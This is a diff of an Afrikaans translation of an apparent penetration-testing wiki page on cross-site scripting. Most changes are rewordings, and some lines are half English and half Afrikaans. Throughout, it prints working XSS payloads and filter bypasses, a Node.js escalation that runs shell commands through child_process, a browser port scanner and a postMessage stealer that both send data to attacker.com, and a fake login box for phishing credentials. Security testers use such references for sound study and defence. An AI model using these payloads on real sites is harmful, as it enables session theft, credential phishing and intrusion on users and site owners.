3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
@ -80,7 +80,7 @@ In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* As dit weerspieël word binne sjabloon letterlik kan jy **JS uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
* As dit weerspieël word binne sjabloon letterlik kan jy **JS uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode kodering** werk om **geldige javascript kode** te skryf:
```javascript
\u{61}lert(1)
@ -98,9 +98,9 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
### Javascript Funksie
Verskeie webblaaie het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
![](<../../.gitbook/assets/image (711).png>)
@ -130,7 +130,7 @@ Therefore, in order to **misbruik maak van hierdie kwesbaarheid in 'n ander DOM*
### DOM
There is **JS code** that is using **onveilig** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
There is **JS code** that is using **onveilig** some **data controlled by an attacker** like `location.href`. An attacker, could abuse this to execute arbitrary JS code.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -138,7 +138,7 @@ There is **JS code** that is using **onveilig** some **data controlled by an att
### **Universal XSS**
These kind of XSS can be found **oorals**. They not depend just on the client exploitation of a web application but on **enige** **konteks**. These kind of **arbitraire JavaScript uitvoering** can even be misbruik om **RCE** te verkry, **lees** **arbitraire** **lêers** in kliënte en bedieners, en meer.\
These kind of XSS can be found **oorals**. They not depend just on the client exploitation of a web application but on **enige** **konteks**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **lees** **arbitraire** **lêers** in clients and servers, and more.\
Some **voorbeelde**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,7 +155,7 @@ Some **voorbeelde**:
## Injecting inside raw HTML
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
When your input is reflected **binne die HTML-bladsy** or you can escape and inject HTML code in this context the **eerste** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **karakter** and check if it's being **HTML encoded** or **verwyder** of if it is **reflected without changes**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
For this cases also **hou in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: 'n HTML-kommentaar kan gesluit word met\*\*\*\***** ****`-->`**** ****of \*\*\*\*****`--!>`**_
@ -165,16 +165,16 @@ In this case and if no black/whitelisting is used, you could use payloads like:
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Maar, as tags/atribute swart/blanklysiening gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force atribute/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
Maar, as tags/attributen swart/blanklys is, sal jy moet **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy moet **brute-force attribuut/geleenthede** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval.
### Tags/Gebeurtenisse brute-force
### Tags/Geleenthede brute-force
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die geleenthede** gebruikmakend van die geldige tags (in dieselfde webblad klik op _**Kopieer geleenthede na klembord**_ en volg dieselfde prosedure as voorheen).
### Pasgemaakte tags
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n pasgemaakte tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -273,14 +273,14 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Binne die attribuut
### Binnen die attribuut
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde weerspieël **as jy al die waarde of net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.\
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word geënkodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy al die waarde of net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tags attribuut word **ontsleutel op tyd van uitvoering**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Let daarop dat **enige soort HTML-kodering geldig is**:
```javascript
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Omgewing binne gebeurtenis met Unicode-kodering**
**Omhels binne gebeurtenis met Unicode-kodering**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Plekke waar jy hierdie protokolle kan inspuit**
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,17 +359,17 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
Moreover, there is another **nice trick** for these cases: **Selfs al jou invoer binne `javascript:...` URL-gecodeer is, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, if you need to **escape** from the **string** using a **single quote** and you see that **dit word URL-gecodeer**, remember that **dit maak nie saak nie,** it will be **interpreted** as a **single quote** during the **execution** time.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Let daarop dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, dit **sal nie** **werk** nie, maar jy kan **hulle binne die payload meng**.
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
**Gebruik Hex en Octal kodeer met `javascript:`**
**Gebruik Hex en Octal kodering met `javascript:`**
Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -391,7 +391,7 @@ As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`targe
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### op Gebeurtenis Hanteerders Omseiling
### oor Gebeurtenis Hanteerders Omseiling
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
### XSS in "Onbenutbare etikette" (verborgene invoer, skakel, kanoniek, meta)
Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
```html
@ -446,15 +446,15 @@ Lees die [Swartlys Omseilings van die vorige afdeling](./#blacklist-bypasses).
**Omseilings vir JavaScript kode**
Lees die J[avaScript omseiling swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
Lees die [JavaScript omseiling swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Byvoorbeeld, jy kan 'n bietjie styl in die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld
> .test {display:block; color: blue; width: 100%\}
@ -472,17 +472,17 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
### Ontsnapping \<script> etiket
### Ontsnapping van \<script> etiket
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik **die sluiting van die `<script>`** etiket ontsnap:
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaiert uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat die identifisering van bladsy-elemente insluit, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
### Binne JS-kode
As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer **geleë** is en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -490,10 +490,10 @@ As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer
```
### Template literals \`\`
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingebedde JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
Om **strings** te konstrueer behalwe enkel- en dubbel aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\
As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitraire JS-kode** uit te voer:
Dit kan **abused** word met:
Dit kan **misbruik** word met:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -571,7 +571,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**JavaScript spasië**
**JavaScript spasie**
```javascript
log=[];
function funct(){}
@ -742,8 +742,8 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om dit te benut**.\
Vergeet ook nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut**.\
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
### Opgradering van Self-XSS
@ -779,7 +779,7 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
```
### Ruby-On-Rails omseiling
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\
Formulier voorbeeld ([uit hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -820,9 +820,9 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS vind plaas.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS met kopinspuiting in 'n 302 antwoord
### XSS met kopinjektering in 'n 302 antwoord
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal** nie, aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
As jy vind dat jy **koppe in 'n 302 herleidingsantwoord kan injekteer**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-kop kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-kop_, `resource://`.
@ -831,13 +831,13 @@ Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Loca
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
### Geldige `<script>` Inhoud-Tipes vir XSS
### Geldige `<script>` Inhoudstipes vir XSS
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoud-tipe** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoudstype** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
> Weier om skrip van [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (application/octet-stream) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.
Die enigste **Inhoud-Tipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaaide skrip** uit te voer, is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -867,8 +867,8 @@ const char* const kSupportedJavascriptTypes[] = {
```
Die antwoord is:
* **module** (standaard, niks om te verduidelik nie)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan pak.
* **module** (verstek, niks om te verduidelik nie)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpakk.
```html
<script type="webbundle">
{
@ -895,7 +895,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Hierdie gedrag is in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) gebruik om 'n biblioteek na eval te herverdeel om dit te misbruik, dit kan XSS ontketen.
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
```html
@ -913,9 +913,9 @@ Hierdie gedrag is in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/mas
}
</script>
```
### Web Inhoudstipes na XSS
### Web Inhoud-Tipes vir XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoud tipes kan XSS in alle blaaiers uitvoer:
* text/html
* application/xhtml+xml
@ -928,9 +928,9 @@ Hierdie gedrag is in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/mas
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Inhoudstype
### xml Inhoud Tipe
As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
As die bladsy 'n text/xml inhoud-tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -944,7 +944,7 @@ Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_inpu
Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string** binne 'n skrip te ontsnap en arbitrêre kode uit te voer.
### Chrome Cache na XSS
### Chrome Kas na XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
@ -992,13 +992,13 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Toegang tot `require` indirek
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
```
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te bekom:
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
{% code overflow="wrap" %}
```javascript
@ -1006,7 +1006,7 @@ Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moont
```
{% endcode %}
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
```javascript
try {
null.f()
@ -1043,9 +1043,9 @@ console.log(req('child_process').execSync('id').toString())
}
trigger()
```
### Obfuscation & Advanced Bypass
### Obfuskering & Gevorderde Omseiling
* **Verskillende obfuscasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* **Verskillende obfuskerings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1088,7 +1088,7 @@ trigger()
### Iframe Lokval
Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
Laat die gebruiker in die bladsy navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
@ -1179,11 +1179,11 @@ q.shift()();
}
</script>
```
### Poort Skandeerder (fetch)
### Port Scanner (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Poort Skandeerder (websockets)
### Port Scanner (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1198,11 +1198,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Skort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
_Short times indicate a responding port_ _Longer times indicate no response._
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Bokss om vir geloofsbriewe te vra
### Bokse om vir akrediteerbesonderhede te vra
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1243,7 +1243,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Steel PostMessage-boodskappe
### Dief van PostMessage-boodskappe
```markup
<img src="https://attacker.com/?" id=message>
<script>
@ -1267,7 +1267,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Blinde XSS payloads
### Blinde XSS lasbriewe
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1366,7 +1366,7 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
### XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
